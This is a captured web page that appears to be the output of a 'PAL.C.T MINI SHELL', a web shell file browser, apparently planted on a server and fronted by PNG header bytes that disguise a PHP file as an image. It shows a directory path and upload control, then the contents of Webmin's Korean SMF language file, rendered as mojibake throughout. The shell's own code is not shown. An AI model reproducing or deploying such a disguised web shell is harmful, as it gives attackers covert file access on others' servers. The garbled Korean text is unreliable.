‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/smf/lang/
upload
files >> //usr/libexec/webmin/smf/lang/ko.auto

cmds_run=ì´ íŽ˜ì´ì§€ë¥¼ ìƒì„± í•  ë•Œ 실행ë˜ëŠ” 명령
whats_this_title=ì´ê²Œ ë­ì•¼?
state_enable=사용
state_disable=비활성화
state_refresh=새롭게 하다
state_restart=재시작
state_maintenance=유지
state_degraded=타ë½í•œ
state_clear=명확한
index_title=서비스 관리 시설
index_detail=SMF 서비스 목ë¡
index_svc_type=서비스 ìœ í˜•ì„ ì„ íƒí•˜ì‹­ì‹œì˜¤
index_extraopts=ë³¼ 추가 ì˜µì…˜ì„ ì¶”ê°€
index_include_disabled=ìž¥ì• ì¸ ì„œë¹„ìŠ¤ë¥¼ í¬í•¨ 하시겠습니까?
index_apply=ì²´í¬ ëœ í•­ëª©ì— ì ìš©
index_sort_by=정렬 기준
index_create_new_service=새로운 서비스 만들기
index_search_instance=서비스 검색
index_select=고르다
index_delete=지우다
index_Select=고르다
index_FMRI=FMRI
index_INST=INST
index_STATE=ìƒíƒœ
index_DESC=DESC
index_NSTATE=NSTATE
index_SCOPE=범위
index_STIME=STIME
index_deleteconfirm=ì„ íƒí•œ 서비스를 ì˜êµ¬ì ìœ¼ë¡œ ì‚­ì œ 하시겠습니까?
search_instance_title=검색
search_instance_detail=서비스 ì¸ìŠ¤í„´ìŠ¤ 검색/찾아보기
search_instance_go=가다!
search_instance_browse=서비스 찾아보기
search_instance_noresults=ì´ ê²€ìƒ‰ì— ëŒ€í•œ 결과가 없습니다!
instance_viewer_title=ì¸ìŠ¤í„´ìŠ¤ ì •ë³´
instance_viewer_detail=ì¸ìŠ¤í„´ìŠ¤ 세부 사항
instance_viewer_goto_pgroup_editor=ì†ì„± 그룹/ì†ì„±ë³´ê¸°/편집
instance_viewer_goto_dep_viewer=종ì†ì„±/ì¢…ì† íŠ¸ë¦¬ë³´ê¸°
dep_viewer_title=ì˜ì¡´ì„±/ì˜ì¡´
dep_viewer_detail=ì¸ìŠ¤í„´ìŠ¤ì˜ 종ì†ì„±/ì¢…ì† íŠ¸ë¦¬
dep_viewer_apply=ì²´í¬ ëœ í•­ëª©ì— ì ìš©
dep_viewer_depy_info=ì˜ì¡´ì„± 트리
dep_viewer_dept_info=ì¢…ì† íŠ¸ë¦¬
dep_viewer_back=ì¸ìŠ¤í„´ìŠ¤ ë·°ì–´
state_editor_title=서비스 ìƒíƒœ ì •ë³´
state_editor_detail=ì¸ìŠ¤í„´ìŠ¤ ìƒíƒœ 세부 사항
state_editor_stateinfo=ì¸ìŠ¤í„´ìŠ¤ ìƒíƒœ ì •ë³´
state_editor_apply=ì²´í¬ ëœ í•­ëª©ì— ì ìš©
state_editor_depy_info=ì˜ì¡´ì„± ì •ë³´
state_editor_dept_info=ì¢…ì† ì •ë³´
log_viewer_title=로그 íŒŒì¼ ë·°ì–´
log_viewer_detail=로그 파ì¼ë³´ê¸° (종료)
log_viewer_show_last=마지막으로 표시
log_viewer_num_lines=ë¼ì¸
log_viewer_submit=ì—…ë°ì´íŠ¸ë³´ê¸°
property_group_editor_title=ì†ì„± 그룹 ì •ë³´
property_group_editor_detail=서비스를위한 ì†ì„± 그룹
property_group_editor_addsinst=서비스/ì¸ìŠ¤í„´ìŠ¤ ì„ íƒ
property_group_editor_addname=새로운 ì†ì„± 그룹 ì´ë¦„
property_group_editor_addtype=새로운 ì†ì„± 그룹 유형
property_group_editor_addpg=새 ì†ì„± 그룹 추가
property_group_editor_add=ë”하다
property_group_editor_apply=ì²´í¬ ëœ í•­ëª©ì— ì ìš©
property_group_editor_deleteconfirm=ì„ íƒí•œ ì†ì„± ê·¸ë£¹ì„ ì˜êµ¬ì ìœ¼ë¡œ ì‚­ì œ 하시겠습니까?
property_group_editor_delete=지우다
property_group_editor_select=고르다
property_group_editor_sinst=서비스/ì¸ìŠ¤í„´ìŠ¤
property_group_editor_pgroup_name=ì†ì„± 그룹 ì´ë¦„
property_group_editor_pgroup_type=ì†ì„± 그룹 유형
property_group_editor_back=ì¸ìŠ¤í„´ìŠ¤ ë·°ì–´
property_editor_title=부ë™ì‚° ì •ë³´
property_editor_detail=서비스/ì†ì„± ê·¸ë£¹ì˜ ì†ì„±
property_editor_addprop=새 부ë™ì‚° 추가
property_editor_addname=새로운 부ë™ì‚° ì´ë¦„
property_editor_addtype=새로운 부ë™ì‚° 유형
property_editor_addvalue=새로운 부ë™ì‚° 가치
property_editor_add=ë”하다
property_editor_apply=ì²´í¬ ëœ í•­ëª©ì— ì ìš©
property_editor_deleteconfirm=ì„ íƒí•œ ì†ì„±/ì†ì„±ì„ ì˜êµ¬ì ìœ¼ë¡œ ì‚­ì œ 하시겠습니까?
property_editor_delete=지우다
property_editor_select=고르다
property_editor_prop_name=부ë™ì‚° ì´ë¦„
property_editor_prop_type=부ë™ì‚° 유형
property_editor_prop_value=ìžì‚° 가치
property_editor_update=최신 정보
property_editor_back=ì†ì„± 그룹
whats_this=(ì´ê²Œ ë­ì•¼?)
close_window=창 닫기
svc_chooser_titlesvc=서비스 FMRI를 ì„ íƒí•˜ì‹­ì‹œì˜¤
svc_chooser_titleinst=서비스 ì¸ìŠ¤í„´ìŠ¤ FMRI ì„ íƒ
svc_chooser_titleboth=서비스/ì¸ìŠ¤í„´ìŠ¤ FMRI ì„ íƒ
svc_chooser_ok=확ì¸
svc_chooser_cancel=취소
svc_chooser_fmri=서비스 FMRI 트리 위치 $1 
path_chooser_title=경로 FMRI를 ì„ íƒí•˜ì‹­ì‹œì˜¤
path_chooser_ok=확ì¸
path_chooser_cancel=취소
path_chooser_path=경로 FMRI 트리 위치 $1 
editserv_title=SMF 서비스 편집
editserv_newtitle=새로운 SMF 서비스 ìƒì„±
editserv_propviewer=서비스 ìƒì„± /보기/수정
editserv_service_detail=서비스 내용
editserv_bundle_name=서비스 번들 ì´ë¦„
editserv_service_name=서비스 ì´ë¦„
editserv_service_type=유형
editserv_service_version=버전
editserv_stability=안정
editserv_fmri=FMRI 지정
editserv_instance_detail=ì¸ìŠ¤í„´ìŠ¤ 세부 사항
editserv_instance_name=ì¸ìŠ¤í„´ìŠ¤ ì´ë¦„
editserv_instance_enabled=활성화 ë˜ì—ˆìŠµë‹ˆê¹Œ?
editserv_serv_instname=서비스 ë˜ëŠ” ì¸ìŠ¤í„´ìŠ¤ ë ˆë²¨ì„ ì„ íƒí•˜ì‹­ì‹œì˜¤.
editserv_restarter_detail=재시작 기 세부 사항
editserv_depy_detail=종ì†ì„± 세부 사항
editserv_depy_name=종ì†ì„± ì´ë¦„
editserv_depy_type=종ì†ì„± 유형
editserv_depy_grouping=종ì†ì„± 그룹화
editserv_depy_restart_on=다시 시작 값
editserv_dept_detail=ì¢…ì† ì„¸ë¶€ 사항
editserv_dept_name=ì¢…ì† ì´ë¦„
editserv_dept_grouping=ì¢…ì† ê·¸ë£¹í™”
editserv_dept_restart_on=다시 시작 값
editserv_exec_detail=메소드 세부 사항 실행
editserv_exec_name=실행 방법 ì´ë¦„
editserv_exec_timeout_seconds=타임 아웃 (초)
editserv_exec_exec=실행 방법 경로
editserv_exec_user=ì‚¬ìš©ìž ë°©ë²• ìžê²© ì¦ëª…
editserv_exec_group=그룹 방법 ìžê²© ì¦ëª…
editserv_exec_privileges=특권
editserv_pgroup_detail=특성 그룹 세부 사항
editserv_pgroup_name=ì†ì„± 그룹 ì´ë¦„
editserv_pgroup_type=ì†ì„± 그룹 유형
editserv_sinst_pgroup_name=[서비스/ì¸ìŠ¤í„´ìŠ¤]. [Property_Group]
editserv_prop_detail=ì†ì„± 세부 사항
editserv_prop_name=부ë™ì‚° ì´ë¦„
editserv_prop_type=부ë™ì‚° 유형
editserv_prop_value=ìžì‚° 가치
editserv_template_detail=템플릿 세부 사항
editserv_template_common_name=공통 ì´ë¦„
editserv_template_description=기술
editserv_man_detail=맨 페ì´ì§€ 세부 사항
editserv_man_title=표제
editserv_man_section=부분
editserv_man_manpath=맨 패스
editserv_update=최신 정보
editserv_new=새로운
editserv_finish=ë
editserv_cancel=취소
editserv_add=ë”하다
editserv_addnew=새로운 걸 ë”하다
editserv_createservice=서비스 만들기
editserv_next=다ìŒ
editserv_continue=계ì†í•˜ë‹¤
editserv_skip=건너 뛰기
editserv_clear=명확한
editserv_restarter_fmri=ìž¬ì‹œë™ ê¸° FMRI
editserv_dependency=ì˜ì¡´
editstate_detail=서비스 ìƒíƒœ 편집
editstate_stateinfo=ì¸ìŠ¤í„´ìŠ¤ ìƒíƒœ ì •ë³´
editstate_depy_detail=ì¸ìŠ¤í„´ìŠ¤ 종ì†ì„± ì •ë³´
editstate_dept_detail=ì¸ìŠ¤í„´ìŠ¤ ì¢…ì† ì •ë³´
editstate_enable=사용
editstate_disable=비활성화
editstate_refresh=새롭게 하다
editstate_restart=재시작
editstate_clear=명확한
editstate_maintenance=유지
editstate_degraded=타ë½í•œ
whats_this_stateinfo=svcs 명령ì—ì„œ ì–»ì€ ì„œë¹„ìŠ¤ ì¸ìŠ¤í„´ìŠ¤ ìƒíƒœì™€ ê´€ë ¨ëœ ì •ë³´ê°€ 표시ë©ë‹ˆë‹¤. svcs (1)를 참조하십시오. smf (5)를 참조하십시오.
whats_this_extraopts=ì´ëŸ¬í•œ 추가 ì˜µì…˜ì„ í™•ì¸í•˜ê³  아래 서비스 목ë¡ì—ì„œ 보려면 ì—…ë°ì´íŠ¸ë³´ê¸°ë¥¼ í´ë¦­í•˜ì‹­ì‹œì˜¤. ì˜µì…˜ì˜ ì˜ë¯¸ëŠ” svcs 맨 페ì´ì§€ì—ì„œ ì°¾ì„ ìˆ˜ 있습니다. svcs (1)를 참조하십시오.
whats_this_enabledonly=활성화 ëœ ì„œë¹„ìŠ¤ 만 표시할지 ë˜ëŠ” 목ë¡ì—ì„œ 모든 서비스 (활성화 ë° ë¹„í™œì„±í™”)를 ì›í•˜ëŠ”지 ì„ íƒí•©ë‹ˆë‹¤.
whats_this_create_new_service=새로운 서비스를 추가하려면 여기를 í´ë¦­í•˜ì‹­ì‹œì˜¤.
whats_this_serviceviewer=서비스 뷰어는 svcs ëª…ë ¹ì´ ì œê³µ í•œ 목ë¡ì„ 기반으로 시스템ì—ì„œ 사용 가능/ì‹¤í–‰ì¤‘ì¸ ì„œë¹„ìŠ¤ì™€ 해당 ìƒíƒœì˜ 범주 별보기를 제공합니다. 특정 íƒ­ì„ í´ë¦­í•˜ë©´ 해당 ì¹´í…Œê³ ë¦¬ì— íŠ¹ì •í•œ 서비스가 표시ë©ë‹ˆë‹¤ (예 : 네트워í¬ëŠ” svc :/network 형ì‹ì˜ 모든 서비스를 보유합니다. 후보 서비스 ì¸ìŠ¤í„´ìŠ¤ë¥¼ 확ì¸í•˜ê³  관련 ì ìš© ë²„íŠ¼ì„ í´ë¦­í•˜ë©´ 여러 활성화/비활성화/새로 고침/다시 시작/유지 보수/성능 저하/ì‚­ì œ/ì‚­ì œ ìž‘ì—…ì„ ìˆ˜í–‰ í•  수 있습니다. fmri ë˜ëŠ” ì¸ìŠ¤í„´ìŠ¤ë¥¼ ê°ê° í´ë¦­í•˜ì—¬ 개별 서비스/ì¸ìŠ¤í„´ìŠ¤ë¥¼ 편집 í•  수 있으며 ìƒíƒœë¥¼ í´ë¦­í•˜ì—¬ 개별 서비스 ì¸ìŠ¤í„´ìŠ¤ì˜ ìƒíƒœë¥¼ 검사 í•  수 있습니다. svcs (1)를 참조하십시오.
whats_this_apply=ì ì ˆí•œ 서비스를 확ì¸í•˜ê³ ì´ ë²„íŠ¼ì„ ì‚¬ìš©í•˜ì—¬ 서비스 목ë¡ì˜ 여러 í•­ëª©ì— ëŒ€í•œ ìž‘ì—…ì„ ìˆ˜í–‰ í•  수 있습니다. svcadm (1M)ì„ ì°¸ì¡°í•˜ì‹­ì‹œì˜¤.
whats_this_FMRI=FMRI는 특정 서비스를 지정하는 URI (Universal Resource Indicator)입니다. 'ì „ì²´'ëª©ë¡ ì•„ëž˜ì— ì „ì²´ FMRIê°€ 표시ë˜ì§€ë§Œ 특정 서비스 카테고리 (예 : 네트워í¬ì˜ 경우 ë„¤íŠ¸ì›Œí¬ ë²”ì£¼ê°€ 표시ë˜ì§€ 않습니다. 특정 서비스 FMRI를 í´ë¦­í•˜ë©´ 서비스 ë·°ì–´ë¡œ ì´ë™í•˜ì—¬ 해당 ì„œë¹„ìŠ¤ì˜ ì†ì„±ì„ 즉시 편집 í•  수 있습니다 (주ì˜í•˜ì‹­ì‹œì˜¤). smf (5)를 참조하십시오. svcs (1)를 참조하십시오.
whats_this_INST=ì¸ìŠ¤í„´ìŠ¤ëŠ” ì¸ì ‘í•œ 서비스 FMRI와 ì—°ê´€ëœ ì¸ìŠ¤í„´ìŠ¤ ì´ë¦„입니다. ì§€ì •ëœ ì„œë¹„ìŠ¤ì—는 여러 ì¸ìŠ¤í„´ìŠ¤ê°€ìžˆì„ 수 있습니다. ì¸ìŠ¤í„´ìŠ¤ë¥¼ í´ë¦­í•˜ë©´ 서비스 ë·°ì–´ë¡œ ì´ë™í•˜ì§€ë§Œ 해당 ì¸ìŠ¤í„´ìŠ¤ì˜ ì†ì„± 만 ì—…ë°ì´íŠ¸ í•  수 있습니다. 서비스 레벨 ë° ê¸°íƒ€ ì¸ìŠ¤í„´ìŠ¤ íŠ¹ì„±ì„ ì—…ë°ì´íŠ¸í•˜ë ¤ë©´ 서비스 FMRI를 í´ë¦­í•˜ì‹­ì‹œì˜¤. smf (5)를 참조하십시오. svcs (1)를 참조하십시오.
whats_this_STATE=특정 ì¸ìŠ¤í„´ìŠ¤ì˜ ìƒíƒœìž…니다. 다양한 ìƒíƒœì˜ ì˜ë¯¸ëŠ” smf 맨 페ì´ì§€ì— 설명ë˜ì–´ 있습니다. smf (5)를 참조하십시오. svcs (1)를 참조하십시오.
whats_this_DESC=ì„œë¹„ìŠ¤ì— ëŒ€í•œ í…스트 설명. smf (5)를 참조하십시오. svcs (1)를 참조하십시오.
whats_this_NSTATE=서비스가 전환 ë  ë•Œ 유용한 ë‹¤ìŒ ì„œë¹„ìŠ¤ ìƒíƒœìž…니다. '-'는 전환 ì¤‘ì´ ì•„ë‹˜ì„ ë‚˜íƒ€ëƒ…ë‹ˆë‹¤. svcs (1)를 참조하십시오.
whats_this_SCOPE=서비스 ì¸ìŠ¤í„´ìŠ¤ì˜ 범위 ì´ë¦„입니다. smf (5)를 참조하십시오. svcs (1)를 참조하십시오.
whats_this_STIME=서비스가 현재 ìƒíƒœì— 들어간 시간 (오늘 ì¸ ê²½ìš°) ë˜ëŠ” 날짜입니다. smf (5)를 참조하십시오. svcs (1)를 참조하십시오.
whats_this_Select=여기ì—ì„œ 활성화/비활성화/새로 고침하려는 서비스 목ë¡ì„ 확ì¸í•˜ì‹­ì‹œì˜¤.

whats_this_service_detail=최ìƒìœ„ 서비스 정보를 ì—¬ê¸°ì— ì§€ì •/편집하십시오 : 서비스 ì´ë¦„, 버전 번호, 매니페스트 ë° ì•ˆì •ì„±ì„위한 번들 ì´ë¦„. smf (5)를 참조하십시오. svccfg (1M)를 참조하십시오. service_bundle (4)를 참조하십시오.
whats_this_bundle_name=ë§¤ë‹ˆíŽ˜ìŠ¤íŠ¸ì˜ ì„œë¹„ìŠ¤ 번들 ì´ë¦„입니다. í•˜ë‚˜ì˜ ë§¤ë‹ˆíŽ˜ìŠ¤íŠ¸ì— ì—¬ëŸ¬ 서비스를 ë¬¶ì„ ìˆ˜ 있지만 여기서 ì´ë¦„ì€ ì¤‘ìš”í•˜ì§€ 않습니다. ì´ë¯¸ 존재하는 ì„œë¹„ìŠ¤ì˜ ê²½ìš° SMF 리í¬ì§€í† ë¦¬ì—ì„œ 매니페스트를 내보낼 ë•Œ svccfgê°€ 수행하는 것처럼 ë‚´ë³´ë‚´ë„ë¡ ì„¤ì •ë©ë‹ˆë‹¤. svccfg (1M)를 참조하십시오. service_bundle (4)를 참조하십시오.
whats_this_service_name=서비스 ì´ë¦„. ê·œì¹™ì€ [general_service_category]/[name] 형ì‹ì„ 사용하는 것입니다. ì´ë¯¸ ì œê³µëœ ë²”ì£¼ì—는 ì‘ìš© 프로그램 (ìƒìœ„ ì‘ìš© 프로그램), 마ì¼ìŠ¤í†¤ (ì´ë¦„ 서비스와 ê°™ì€ ë‹¤ë¥¸ 서비스 모ìŒ), í”Œëž«í¼ (í”Œëž«í¼ ë³„ 서비스), 시스템 (Solaris 시스템 서비스), 장치 (장치 별 서비스), ë„¤íŠ¸ì›Œí¬ (네트워í¬/ì¸í„°ë„· 서비스) ë° ì‚¬ì´íŠ¸ (사ì´íŠ¸ 별 설명) ìžì‹ ì˜ 범주를 지정할 ìˆ˜ë„ ìžˆì§€ë§Œ ëŒ€ë¶€ë¶„ì˜ ì„œë¹„ìŠ¤ëŠ” ìœ„ì˜ í•˜ë‚˜ì— íŽ¸ì•ˆí•˜ê²Œ 맞아야합니다. smf (5)를 참조하십시오.
whats_this_service_version=ì„œë¹„ìŠ¤ì˜ ë²„ì „ 번호를 지정하십시오.
whats_this_instance_detail=여기ì—ì„œ ì¸ìŠ¤í„´ìŠ¤ 정보를 지정/편집하십시오 : ì¸ìŠ¤í„´ìŠ¤ ì´ë¦„ ë° ê¸°ë³¸ì ìœ¼ë¡œ 사용 가능한지 여부. smf (5)를 참조하십시오.
whats_this_instance_name=ì¸ìŠ¤í„´ìŠ¤ ì´ë¦„ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤. ì¸ìŠ¤í„´ìŠ¤ê°€ 하나만있는 서비스는 ì¼ë°˜ì ìœ¼ë¡œ ì¸ìŠ¤í„´ìŠ¤ ì´ë¦„으로 ê¸°ë³¸ì„ ì‚¬ìš©í•©ë‹ˆë‹¤ (예 : inetd). 다른 구성으로 실행ë˜ëŠ” ë™ì¼í•œ ë°”ì´ë„ˆë¦¬ì˜ 여러 ì¸ìŠ¤í„´ìŠ¤ë¥¼ 허용하는 서비스ì—는 여러 ì¸ìŠ¤í„´ìŠ¤ê°€ 필요합니다 (예 : 청구 ëœ inetd 서비스. 다른 í¬íŠ¸ì—ì„œ 실행ë˜ëŠ” 스트림 ë° ë°ì´í„° 그램 기반 ë²„ì „ì´ í•„ìš”í•©ë‹ˆë‹¤. smf (5)를 참조하십시오.
whats_this_instance_enabled=ì´ ì„œë¹„ìŠ¤ ì¸ìŠ¤í„´ìŠ¤ê°€ 기본ì ìœ¼ë¡œ 사용 가능한지 여부를 지정하십시오.
whats_this_serv_instname=서비스 ë˜ëŠ” ì¸ìŠ¤í„´ìŠ¤ 레벨ì—ì„œ 정보를 ì—…ë°ì´íŠ¸í• ì§€ 여부를 지정하십시오. ì†ì„±, 종ì†ì„± ë“±ì´ ì„œë¹„ìŠ¤ ë° ì¸ìŠ¤í„´ìŠ¤ 수준 모ë‘ì— ì¡´ìž¬í•˜ë©´ ì¸ìŠ¤í„´ìŠ¤ 수준 ê°’ì´ í•´ë‹¹ 특정 ì¸ìŠ¤í„´ìŠ¤ì— 사용ë˜ë©°, 그렇지 않으면 서비스 수준 ê°’ì„ ìƒì†í•©ë‹ˆë‹¤. ì´ë¥¼ 통해 ì¸ìŠ¤í„´ìŠ¤ëŠ” 서비스 수준 사양ì—ì„œ ê°’ì„ ì„ íƒì ìœ¼ë¡œ ìƒì†í•˜ë©´ì„œ 고유하게 필요할 수있는 ê°’ì„ ì„¤ì •í•  수 있습니다.
whats_this_stability=안정성 ê°’ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤.-설정ë˜ì§€ ì•Šì€ ìƒíƒœë¡œ ë‘십시오.
whats_this_fmri=관련 서비스/ì¸ìŠ¤í„´ìŠ¤ FMRI를 지정하십시오.
whats_this_restarter_detail=기본ì ìœ¼ë¡œ 서비스는 마스터 재시작 기 (시스템/다시 시작 서비스)를 사용하여 ë™ìž‘ì„ ì œì–´í•©ë‹ˆë‹¤. inetd와 ê°™ì€ ìœ„ìž„ ëœ ë‹¤ì‹œ 시작 í”„ë¡œê·¸ëž¨ë„ ì§€ì •í•  수 있습니다. ì´ë¦„ì—ì„œ ì•Œ 수 ìžˆë“¯ì´ ìœ„ìž„ ëœ ë‹¤ì‹œ 시작 서비스를 사용하여 서비스 시작/중지를 처리하고 inetdì˜ ê²½ìš° ì´ëŸ¬í•œ ë°©ë²•ì˜ ì´ë¦„ì´ ë§ˆìŠ¤í„° 다시 시작 기반 서비스와 다른 ì´ë¦„으로 표시ë©ë‹ˆë‹¤. inetd (1M)를 참조하십시오. svc.startd (1M)를 참조하십시오. smf_restarter (5)를 참조하십시오.
whats_this_exec_detail=실행 ë°©ë²•ì€ smf ì„œë¹„ìŠ¤ì˜ í•µì‹¬ì´ë©° 서비스 시작/중지시 실행할 í”„ë¡œê·¸ëž¨ì„ ì§€ì •í•©ë‹ˆë‹¤. 위임 ëœ ë‹¤ì‹œ 시작 (예 : inetd)ì„ ì‚¬ìš©í•˜ëŠ” 서비스ì—는 ìžì²´ 시작/중지 방법 (예 : inetd_start, inetd_stop)ì´ ìžˆì§€ë§Œ 마스터 다시 ì‹œìž‘ì„ ì‚¬ìš©í•˜ëŠ” 서비스는 ì¼ë°˜ì ìœ¼ë¡œ 시작 ë° ì¤‘ì§€ ë°©ë²•ì„ ìµœì†Œí•œìœ¼ë¡œ 지정합니다. svc.startd (1M)를 참조하십시오. smf_method (5)를 참조하십시오. inetd (1M)를 참조하십시오.
whats_this_exec_name=여기ì—ì´ ì‹¤í–‰ ë©”ì†Œë“œì˜ ê³ ìœ  ì´ë¦„ì„ ì œê³µí•˜ì‹­ì‹œì˜¤. 마스터 재시작기를 사용하는 ì„œë¹„ìŠ¤ì˜ ê²½ìš° 시작 ë° ì¤‘ì§€ ë°©ë²•ì´ í•„ìˆ˜ì´ë©° 서비스가 활성화ë˜ê³  종ì†ì„±ì´ 충족 ë  ë•Œ ê°ê° 실행ë©ë‹ˆë‹¤. 종ì†ì„±ì´ 오프ë¼ì¸ ìƒíƒœê°€ë˜ë©´ 서비스가 실패하고 관리ìžê°€ 서비스 ë“±ì„ ë¹„í™œì„±í™”í•©ë‹ˆë‹¤. smf_method (5)를 참조하십시오. inetd (1M)를 참조하십시오.
whats_this_exec_timeout_seconds=시간 초과를 초과하는 메소드는 종료ë©ë‹ˆë‹¤. 제한ë˜ì§€ ì•Šì€ ë©”ì†Œë“œì˜ ê²½ìš° 제한 ì‹œê°„ì„ 0으로 설정하십시오.
whats_this_exec_exec=메소드와 ì¸ìˆ˜ë¥¼ 실행할 경로를 제공하십시오. 키워드 : kill ë° : trueê°€ 제공ë˜ë©° 실행 방법으로 사용할 수 있습니다. ì „ìžëŠ” ì„œë¹„ìŠ¤ì— ì˜í•´ ì‹œìž‘ëœ ëª¨ë“  프로세스를 종료하고 후ìžëŠ” 다시 시작 ìžì—게 ì„±ê³µì„ ë¦¬í„´í•©ë‹ˆë‹¤. ë˜í•œ 메소드 토í°ì„ 사용하여 smf 관련 정보를 ë©”ì†Œë“œì— ì „ë‹¬í•  수 있습니다. smf_method (5)를 참조하십시오.
whats_this_exec_user=사용ìžì˜ 기본 메소드 환경 ê°’ì— ëŒ€í•œ 대체를 지정하십시오 (기본 메소드 í™˜ê²½ì€ initì—ì„œ ìƒ ì†ë¨).
whats_this_exec_group=ê·¸ë£¹ì˜ ê¸°ë³¸ 메소드 환경 ê°’ì— ëŒ€í•œ 대체를 지정하십시오 (기본 메소드 í™˜ê²½ì€ initì—ì„œ ìƒ ì†ë¨).
whats_this_exec_privileges=기본 메소드 환경 íŠ¹ê¶Œì— ëŒ€í•œ 대체를 지정하십시오.
whats_this_depy_detail=종ì†ì„±ì€ 서비스가 실행ë˜ê¸° ì „ì— ì–´ë–¤ 서비스를 실행해야하는지 지정하는 ë°©ë²•ì„ ì œê³µí•©ë‹ˆë‹¤. ì˜ì¡´ì„±ì„ 호출하는 ê²ƒì€ SMFì˜ ì£¼ìš” ì´ì  중 하나입니다. init 스í¬ë¦½íŠ¸ ë“±ì´ ë§¤ìš° 복잡한 ì›¹ì— ê²°ì • ë¡ ì  êµ¬ì¡°ë¥¼ 부과하기 때문입니다. ì˜ì¡´ì„±ì€ 서비스가 특정 ì˜ì¡´ì„±ì„ 기다릴 ê²ƒì„ ì§€ì •í•  수있는 ìœ ì—°ì„±ì„ ì œê³µí•©ë‹ˆë‹¤. 온ë¼ì¸ ìƒíƒœê°€ ë˜ë ¤ë©´ ê·¸ë£¹ì˜ í•œ êµ¬ì„±ì› (예 : ì´ë¦„ 서비스가 구성ë˜ì–´ 있ìŒ)ì„ ê¸°ë‹¤ë¦¬ê±°ë‚˜ 다른 서비스가 실행ë˜ê³  있지 ì•Šì€ ê²½ìš°ì—만 실행하십시오. smf (5)를 참조하십시오.
whats_this_depy_name=ì´ ì¢…ì†ì„±ì— 고유 í•œ ì´ë¦„ì„ ì œê³µí•˜ì‹­ì‹œì˜¤.
whats_this_depy_type=종ì†ì„± 유형 (경로 ë˜ëŠ” 서비스)ì„ ì„ íƒí•˜ì‹­ì‹œì˜¤. 경로 종ì†ì„±ì—는 명명 ëœ íŒŒì¼ì´ 있어야합니다 (?). 경로 종ì†ì„±ì— 유효한 fmriì˜ ì˜ˆëŠ” file :: // localhost/path2file입니다. 서비스 ì˜ì¡´ì„±ì€ 단지 서비스가 ì˜ì¡´í•˜ëŠ” ê²ƒì„ ì‹ë³„하는 것입니다.
whats_this_depy_grouping=종ì†ì„±ì— 대한 그룹화 ê°’ì„ ì„ íƒí•˜ì‹­ì‹œì˜¤. 그룹화 ê°’ì€ ì¢…ì†ì„± ê´€ê³„ì˜ íŠ¹ì„±ì„ ê²°ì •í•©ë‹ˆë‹¤. 예를 들어 require_allì˜ ê²½ìš° 서비스가 시작ë˜ê¸° ì „ì— ê·¸ë£¹ì˜ ëª¨ë“  종ì†ì„±ì´ 온ë¼ì¸/저하ë˜ì–´ì•¼í•˜ê³ , require_anyì˜ ê²½ìš° 모든 ê·¸ë£¹ì´ ì˜¨ë¼ì¸/저하ë˜ì–´ì•¼í•©ë‹ˆë‹¤. optional_allì˜ ê²½ìš°, 사용 가능하고 실행 가능한 모든 서비스가 온ë¼ì¸ì´ì–´ì•¼í•˜ê³  exclude_allì˜ ê²½ìš° 종ì†ì„±ì´ 온ë¼ì¸/성능 저하 ì¸ ê²½ìš° 서비스를 실행하지 않아야합니다.
whats_this_depy_restart_on=ì—¬ê¸°ì— ê²°í•¨ 전파 모ë¸ì„ 지정하십시오. 즉, 서비스가 종ì†ì„±ì˜ ê²°í•¨ì— ì–´ë–»ê²Œ 대ì‘해야합니까? ê°’ì€ ì—†ìŒ (시작 후 종ì†ì„±ì— ì‹ ê²½ 쓰지 ì•ŠìŒ), 오류 (종ì†ì„±ì— 결함ì´ìžˆëŠ” 경우 다시 시작), 다시 시작 (종ì†ì„±ì´ 다시 시작ë˜ë©´ 다시 시작) ë° ìƒˆë¡œ 고침 (종ì†ì„±ì´ 새로 ê³ ì³ì§€ë©´ 다시 시작)ì´ ì—†ìŠµë‹ˆë‹¤.
whats_this_dept_detail=부양 ê°€ì¡±ì€ ì•½ê°„ 혼란스러워 ë³´ì¼ ìˆ˜ 있습니다. 왜 ì–´ë–¤ 서비스가 ë‚´ ì„œë¹„ìŠ¤ì— ì˜ì¡´ 하는지를 지정하는 ë©”ì»¤ë‹ˆì¦˜ì´ ìžˆëŠ”ë° í›„ë³´ì— ì˜ì¡´ì„±ì„ 추가 í•  수 없습니까? 부양 ê°€ì¡±ì€ ê·€í•˜ê°€ 부양 매니페스트를 소유하지 ì•Šê³ ì´ë¥¼ 수행 í•  수없는 ìƒí™©ì„ 해결합니다. ê²°ê³¼ì ìœ¼ë¡œ ì¢…ì† í•­ëª©ì€ ì¢…ì†ì„±ê³¼ 매우 유사하지만 현재 ì„œë¹„ìŠ¤ê°€ì´ ì¢…ì†ì„±ì— ì˜ì¡´í•˜ë„ë¡ ì§€ì •í•˜ëŠ” 대신 현재 ì„œë¹„ìŠ¤ê°€ì´ í•˜ìœ„ 서비스/ì˜ì¡´ì— 대한 종ì†ì„±ì´ë¼ê³ í•©ë‹ˆë‹¤. smf (5)를 참조하십시오.
whats_this_dept_name=여기ì—ì´ ì´ë¦„ì— ê³ ìœ  í•œ ì´ë¦„ì„ ì œê³µí•˜ì‹­ì‹œì˜¤.
